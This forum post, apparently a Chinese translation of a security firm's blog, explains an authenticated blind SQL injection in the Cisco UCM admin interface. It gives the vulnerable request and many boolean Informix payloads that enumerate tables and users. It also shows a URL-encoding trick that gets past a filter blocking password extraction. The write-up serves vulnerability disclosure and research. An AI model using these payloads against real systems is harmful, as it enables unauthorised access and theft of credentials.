用户
搜索
  • TA的每日心情
    擦汗
    2019-1-31 10:58
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]初来乍到

    官方账号

    Rank: 7Rank: 7Rank: 7

    184

    主题

    184

    帖子

    1671

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2018-12-21

    i春秋认证

    发表于 2019-11-21 21:49:02 1450

    22.jpg

    介绍

    近期,有名客户希望升级他们的Cisco UCM软件,并希望确保产品设置是安全的,因此需要我们进行安全评估。而在这过程中,我们在Cisco UCM的管理员界面发现了一个需要身份验证的SQL注入漏洞。一般来说,SQLMap可以自动帮助我们进行后续渗透。

    在得到客户许可后,我使用了如下SQLMap命令:

    root@kali~# sqlmap --level=5 --risk=3 -r request.txt
    

    而txt文件的内容如下:

    GET /ccmadmin/userGroupFindList.do?searchLimVal3=&searchLimVal4
    =&whereClause=1*&searchLimVal1=&searchLimVal2=&searchLimVal7=&s
    earchLimVal8=&searchLimVal5=&searchLimVal6=&rowsPerPageControl
    =/ccmadmin/userGroupFindList.do?lookup=true&colCnt=4&searchLimV
    al0=&lookup=true&rowsPerPage=50&searchLimVal9=&pageNumber=1&rec
    Cnt=37&multiple=true HTTP/1.1
    Host: <cucm_admin_portal>
    Cookies: JSESSIONID=<jsessionid_data>; com.cisco.ccm.admin.serv
    lets.RequestToken.REQUEST_TOKEN_KEY=<cisco_data>; JSESSIONIDSSO
    =<jsessionidsso_data>
    Accept: text/html
    Connection: close  
    

    在SQLMap运行完后,我得到了一个数据库:Informix SQL,使用的是布尔盲注。不过SQLMap也并不是全能的:

    • SQLMap能够枚举当前表的名称,但无法枚举其他数据库名称和其他表名称

    • SQLMap能够枚举当前SQL用户名,也发现了还有1000多个用户,但无法枚举其他999个用户

    • SQLMap无法获得applicationuser表中和用户密码相关的任何信息

    下面将演示如何确定上述每个问题的根源以及如何解决这些问题。

    了解Informix

    在开始之前,我们需要更详细的了解Informix SQL

    以下是对于systables表的简单介绍:

    • systables表中有所有其他表的信息记录

    • systables表中的不同列表示不同的信息,例如tabname列表示特定表的名称,tabid列表示特定表的ID号

    • 其他列包括ncols表示表的列数,nrows表示表的行数

    我们假设有一个表名为yaytableyay。要找出tabid,则可以使用以下查询语句:

    SELECT tabid FROM systables WHERE tabname = ‘yaytableyay’
    #Returned 54
    

    如果想要找到yaytableyay表的行数,可以进行以下查询:

    SELECT nrows FROM systables WHERE tabid = 54
    #Returned 15
    

    其次是关于syscolumns表的快速教程:

    • 其中保留每个表中所有列信息

    • syscolumns中的不同列表示不同的信息,例如colname表示特定列的名称,tabid表示列被分配给哪个表

    • 其他信息例如colno,表示系统从左到右按顺序分配的值

    如果我们想找出yaytableyay表中第一列的名称:

    SELECT colname FROM syscolumns WHERE tabid = 54 AND colno = 1
    #returned "yaycolumnnameyay"
    

    此外,每个表都有一个名为rowid的隐藏列。其中值分配给表中的每一行,但在行被删除时不删除。例如,下面的查询由于行被提前删除而没有返回任何数据:

    SELECT * FROM yaytableyay WHERE rowid = 1337
    #Returned 0 results
    

    当然这行可能根本就不存在。对于使用者来说这两种情况很难区分。

    枚举其他表名

    要解决SQLMap的问题,最好先抓取流量进行观察。我们发现每当SQLMap枚举其他表名和数据库名时,总会出现以下错误之一:

    ERROR: A subquery has returned not exactly one row.
    ERROR: "NVL" cannot be used in a query
    ERROR: "RTRIM" cannot be used in a query
    ERROR: "LIMIT" cannot be used in a query
    ERROR: "LENGTH" cannot be used in a query
    

    第一个错误“not exactly one row”似乎是和Informix本身有关。其他错误似乎是受到思科UCM自身安全限制的影响。为此我们需要自定义脚本来解决这个问题。

    为了枚举出每个表,我们需要:

    • 计算数据库中有多少个有效表

    • 逐字母列举每个表名

    • 枚举每个表中有多少行和列

    为了确定有多少个有效的表,我们需要使用tabid。具体来说,我们用以下语句执行了一些“大于”和“小于”的操作:

    1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 1) > 1
    

    如果每个表名的tabid大于1,则将返回每个表名的第一个字母的ASCII值。当然这会返回多个结果,服务器也会响应“Result is more than 1 column”,但是这也证明了某些东西的存在。为了进一步说明:

    1=1 AND (SELECT ascii(substring(tabname for 1 from 1)) FROM systables WHERE tabid > 100) > 1
    

    现在,我们寻找tabid大于100的表。如果一个表不存在,那么服务器将不响应任何数据。

    借此我们可以枚举有多少表在数据库中:

    1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 1) > 1
    #returned "more than 1 row" error
    1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 100) > 1 
    #returned no data
    1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 50) > 1 
    #returned "more than 1 row" error
    1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 75) > 1 
    #returned no data
    1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 65) > 1 
    #returned "more than 1 row" error
    1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 74) > 1 
    #returned "more than 1 row" error
    1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 75) > 1 
    #returned no data
    

    现在,我们可以确定当前数据库中的表有75个。

    接下来,还需要获得表名。利用ASCII函数仍然是一种选择,我们可以使用类似的逻辑来得到表的数量。下面的语句将确定第一个表名的第一个字母的ASCII值是否大于64:

    1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 64
    

    而通过一系列相关语句,我们就可以枚举出第一个字母是什么:

    1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 64
    #returned some data
    1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 96
    #returned some data
    1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 112
    #returned no data
    1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 104
    #returned no data
    1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 100
    #returned some data
    1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 102
    #returned no data
    1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) = 101
    #returned some data
    

    基于以上所述,第一个表的第一个字母的ASCII值101,也就是e

    接下来瞄准下一个字符:

    tabname from 1 for 1
    

    替换为

    tabname from 2 for 1
    

    很快我们就可以枚举出第二个字母是m

    我们假设最后的得到的表名为empire,其余的表名可以使用此方法枚举。

    在得到表名后,我们开始获取列的数据。

    首先计算出empire中有多少列:

    1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 1
    #returned no data
    1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 2
    #returned no data
    1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 3
    #returned no data
    1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 4
    #returned some data
    1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 5
    #returned no data
    

    接下来查询出empire表中第一列的名称:

    1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 64
    #returned some data
    1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 96
    #returned no data
    1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 80
    #returned no data
    1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 72
    #returned some data
    1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 76
    #returned no data
    1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 74
    #returned some data
    1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) = 73
    #returned some data
    

    枚举其他SQL用户

    当SQLMap试图枚举其他SQL用户时,会涉及sysusers表。与本文上述内容类似,当SQLMap试图枚举其他用户时,服务器也会返回错误。

    在前一节中,我们介绍了如何枚举表。在查找了sysusers表的组织结构之后,发现不可以套用类似方法。根据官方文档,sysusers表的列有:

    • username
    • usertype
    • priority
    • password
    • defrole

    此时,我们需要使用隐藏列rowid作为SQL查询的WHERE部分。下面语句用于枚举第一个用户名的第一个字母的ASCII值,此时rowid为1:

    1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 1) > 1
    #returned data
    

    在枚举第一个用户名之后,我们可以继续用rowid值枚举其他用户名:

    1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 2) > 1
    #returned data
    1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 3) > 1
    #returned data
    1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 4) > 1
    #returned data
    1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5) > 1
    #returned data
    

    有趣的是,当rowid值达到5000,不会返回数据,而5002又会返回数据。

    为了解决这个问题,可以使用systables表中的nrows列。因为nrows的值是根据表中非空行的数目确定的。

    下面查询可以确定sysusers表的行数:

    1=1 AND (SELECT nrows FROM systables WHERE tabname = ‘sysusers’) > 1
    #returned some data
    

    最后我们可以确定sysusers表中的行数为1000:

    1=1 AND (SELECT nrows FROM systables WHERE tabname = ‘sysusers’) = 1000
    #returned data
    

    接下来使用rowidncols来枚举sysusers表中的所有用户名。逐步增加rowid值,配合每次进行循环查询,当返回数据时,再将ncols的值减少1:

    1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5000) > 1
    #returned no data, ncols value is at 444
    1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5001) > 1
    #returned no data, ncols value is at 444
    1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5002) > 1
    #returned data, ncols value is at 443
    ...
    1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7850) > 1
    #returned data, ncols value is at 2
    1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7851) > 1
    #returned data, ncols value is at 1
    

    由于现已有了一组已知的行id和非空行,我们现在可以更快速地枚举出用户名。

    1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7851) > 1
    #returned data
    

    枚举用户密码

    如前所述,sysusers表中有名为password的数据。此外我们还发现了Cisco UCM软件利用applicationuser表来存储与Cisco UCM软件相关的用户,其中也包含一个password

    利用前面所讨论的技术,我们可以枚举出整个app_users表,相关语句如下:

    1=1 AND (SELECT ascii(substring(password from 1 for 1)) FROM applicationuser WHERE rowid = 500) > 1
    #returned error “Security Exception”
    

    这是一个奇怪的错误信息,谷歌上信息很少。经过一些测试后,我确定服务器只会在尝试枚举任何表中的password列时回复该错误。基于这种行为,我们认为这是应用中的黑名单进行了拦截。

    所以我需要通过URL编码绕过这个限制!

    1=1 AND (SELECT ascii(substring(%70%61%73%73%77%6f%72%64 from 1 for 1)) FROM app_users WHERE rowid = 500) > 1
    #returned data
    

    自定义脚本

    由于无法直接使用SQLMap来解决这个问题,因此我们使用两个脚本来解决这个问题。

    • sql_injection_enumerate_tables.py——枚举出数据库中每个表的名称,并将它们存储在名为cisco_tables.txt文件中。

    • sql_injection_extract_table.py——读取cisco_tables文件中的名称并枚举每个条目的内容

    这两个脚本都不会自动对特定单词进行URL编码,比如password,建议通过BurpSuite或其他代理工具实现。

    补丁

    这篇文章中的技术可攻击思科UCM版本11.5.1.14900-11的数据库,目前思科正在研发补丁。

    引用

    https://labs.f-secure.com/advisories/cisco-ucm-informix-sql-injection

    https://github.com/FSecureLABS/Cisco-UCM-SQLi-scripts

    本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3199.html
    来源:https://labs.f-secure.com/blog/uncommon-sql-databa se-alert-informix-sql-injection
    
    谢谢楼主分享。66666666666666666666666666
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册